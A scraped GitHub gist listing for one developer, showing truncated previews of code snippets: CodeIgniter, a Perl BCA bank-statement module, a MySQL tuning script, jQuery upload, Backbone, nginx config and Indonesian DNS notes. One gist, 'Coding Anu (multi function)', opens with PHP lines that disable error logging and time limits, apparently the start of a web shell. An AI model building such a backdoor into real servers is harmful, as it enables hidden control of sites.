Skip to content

Instantly share code, notes, and snippets.

View zhiephie's full-sized avatar
:octocat:
Focusing

Yudi Purwanto zhiephie

:octocat:
Focusing
View GitHub Profile
#CONTROLLER
function joinn() {
$this->load->model("model_kriteria");
$data['kriteria']= $this->model_kriteria->join();
$this->load->view("control_kriteria/view_data_kriteria",$data);
}
@zhiephie
zhiephie / Coding Anu
Last active August 29, 2015 14:06
Coding Anu (multi function)
<?php
@define('VERSION','1.0');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@zhiephie
zhiephie / bca
Last active August 29, 2015 14:06
use Finance::Bank::ID::BCA;
# FBI::BCA uses Log::Any. to show logs using, e.g., Log4perl:
use Log::Log4perl qw(:easy);
use Log::Any::Adapter;
Log::Log4perl->easy_init($DEBUG);
Log::Any::Adapter->set('Log4perl');
my $ibank = Finance::Bank::ID::BCA->new(
username => 'ABCDEFGH1234', # opt if only using parse_statement()
@zhiephie
zhiephie / Mysql Tuning
Last active August 29, 2015 14:06
MySQL performance tuning primer script
#!/bin/sh
# vim: ts=8
#########################################################################
# #
# MySQL performance tuning primer script #
# Writen by: Matthew Montgomery #
# Report bugs to: https://bugs.launchpad.net/mysql-tuning-primer #
# Inspired by: MySQLARd (http://gert.sos.be/demo/mysqlar/) #
# Version: 1.6-r1 Released: 2011-08-06 #
============CONTROLLER==============
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* @author : Yudi Purwanto
* @link : http://yudi-purwanto.com
* @since : 14 may 2014
*/
// Ajax File upload with jQuery and XHR2
// Sean Clark http://square-bracket.com
// xhr2 file upload
// data is optional
$.fn.upload = function(remote,data,successFn,progressFn) {
// if we dont have post data, move it along
if(typeof data != "object") {
progressFn = successFn;
successFn = data;
}
@zhiephie
zhiephie / repo
Created November 27, 2014 19:23
List repository with backbone js
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Yudi Purwanto - Web Developer</title>
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.1.1/css/bootstrap.min.css" />
</head>
<body>
<div class="container">
<div class="profile"></div>
@zhiephie
zhiephie / legit
Created December 24, 2014 14:53
Legit
A record atau catatan alamat memetakan sebuah nama host ke alamat IP 32-bit (untuk IPv4).
AAAA record atau catatan alamat IPv6 memetakan sebuah nama host ke alamat IP 128-bit (untuk IPv6).
CNAME record atau catatan nama kanonik membuat alias untuk nama domain. Domain yang di-alias-kan memiliki seluruh subdomain dan record DNS seperti aslinya.
MX record atau catatan pertukaran surat memetakan sebuah nama domain ke dalam daftar mail exchange server untuk domain tersebut.
PTR record atau catatan penunjuk memetakan sebuah nama host ke nama kanonik untuk host tersebut. Pembuatan record PTR untuk sebuah nama host di dalam domain in-addr.arpa yang mewakili sebuah alamat IP menerapkan pencarian balik DNS (reverse DNS lookup) untuk alamat tersebut.
NS record atau catatan server nama memetakan sebuah nama domain ke dalam satu daftar dari server DNS untuk domain tersebut. Pewakilan bergantung kepada record NS.
SOA record atau catatan otoritas awal (Start of Authority) mengacu server DNS yang mengediakan otorisasi inform
@zhiephie
zhiephie / anu ya
Created January 20, 2015 12:58
anu
server {
listen 80;
server_name anu.com www.anu.com;
#return 301 https://$server_name$request_uri;
#}
#server {
# server_name anu.com;
# listen 443 ssl;
# return 301 https://$server_name$request_uri;
#contoh
index.php
Test
didalam folder test ada file :
- Nama.php
#script :
- file Nama.php
<?php